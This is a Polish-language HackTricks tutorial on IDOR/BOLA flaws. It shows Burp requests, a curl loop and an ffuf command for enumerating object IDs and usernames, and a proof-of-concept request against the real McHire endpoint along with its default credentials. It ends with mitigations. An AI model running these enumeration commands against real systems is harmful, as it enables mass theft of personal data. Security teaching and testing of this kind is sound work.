IDOR (Insecure Direct Object Reference)

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) występuje, gdy endpoint webowy lub API ujawnia lub przyjmuje identyfikator kontrolowany przez użytkownika, który jest używany bezpośrednio do dostępu do wewnętrznego obiektu bez weryfikacji, czy wywołujący jest uprawniony do dostępu/modyfikacji tego obiektu. Udana eksploatacja zazwyczaj pozwala na horizontal or vertical privilege-escalation, takie jak czytanie lub modyfikowanie danych innych użytkowników, a w najgorszym wypadku full account takeover lub mass-data exfiltration.

1. Identyfikacja potencjalnych IDOR

  1. Szukaj parametrów, które odnoszą się do obiektu:
  • Ścieżka: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Zapytanie: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Nagłówki / Cookies: X-Client-ID: 4711
  1. Preferuj endpointy, które odczytują lub aktualizują dane (GET, PUT, PATCH, DELETE).
  2. Zwróć uwagę, gdy identyfikatory są kolejne lub przewidywalne – jeśli Twój ID to 64185742, to 64185741 prawdopodobnie istnieje.
  3. Przeszukaj ukryte lub alternatywne przepływy (np. "Paradox team members" link na stronach logowania), które mogą ujawnić dodatkowe API.
  4. Użyj uwierzytelnionej sesji o niskich uprawnieniach i zmieniaj tylko ID zachowując ten sam token/cookie. Brak błędu autoryzacji zwykle oznacza IDOR.

Szybka ręczna manipulacja (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatyczna enumeracja (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle dla enumeracji użytkowników/plików

Gdy endpoint pobierania akceptuje zarówno username, jak i filename (np. /view.php?username=<u>&file=<f>), subtelne różnice w komunikatach o błędach często tworzą oracle:

  • Nieistniejący username → "User not found"
  • Błędny filename, ale poprawne extension → "File does not exist" (czasami również listuje dostępne pliki)
  • Błędne extension → błąd walidacji

W ramach dowolnej uwierzytelnionej sesji możesz fuzzować parametr username, podając poprawny filename i filtrować po ciągu "User not found", aby odkryć prawidłowych użytkowników:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Gdy zidentyfikowano prawidłowe nazwy użytkowników, żądaj bezpośrednio konkretnych plików (np. /view.php?username=amanda&file=privacy.odt). Ten schemat często prowadzi do nieuprawnionego ujawnienia dokumentów innych użytkowników oraz credential leakage.

2. Studium przypadku – McHire Chatbot Platform (2025)

Podczas oceny portalu rekrutacyjnego McHire opartego na Paradox.ai odkryto następujący IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie sesji użytkownika dla dowolnego konta testowego restauracji
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

Zmniejszając wartość lead_id tester pobrał dowolnych kandydatów z pełnymi PII (name, e-mail, phone, address, shift preferences) oraz consumer JWT, który umożliwiał session hijacking. Enumeracja zakresu 1 – 64,185,742 ujawniła około 64 million rekordów.

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

W połączeniu z default admin credentials (123456:123456), które zapewniały dostęp do konta testowego, luka doprowadziła do krytycznego naruszenia danych obejmującego całą firmę.

3. Wpływ IDOR / BOLA

  • Escalacja pozioma – read/update/delete danych innych użytkowników.
  • Escalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalności dostępne tylko dla adminów.
  • Masowy wyciek danych, jeśli identyfikatory są sekwencyjne (np. applicant IDs, invoices).
  • Przejęcie konta przez kradzież tokenów lub resetowanie haseł innych użytkowników.

4. Środki zaradcze i dobre praktyki

  1. Wymuszaj autoryzację na poziomie obiektów dla każdego żądania (user_id == session.user).
  2. Preferuj pośrednie, niezgadywalne identyfikatory (UUIDv4, ULID) zamiast auto-increment IDs.
  3. Wykonuj autoryzację po stronie serwera, nie polegaj na ukrytych polach formularzy ani kontrolkach UI.
  4. Zaimplementuj RBAC / ABAC w centralnym middleware.
  5. Dodaj rate-limiting & logging aby wykrywać enumerację identyfikatorów.
  6. Testuj bezpieczeństwo każdego nowego endpointu (unit, integration, oraz DAST).

5. Narzędzia

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks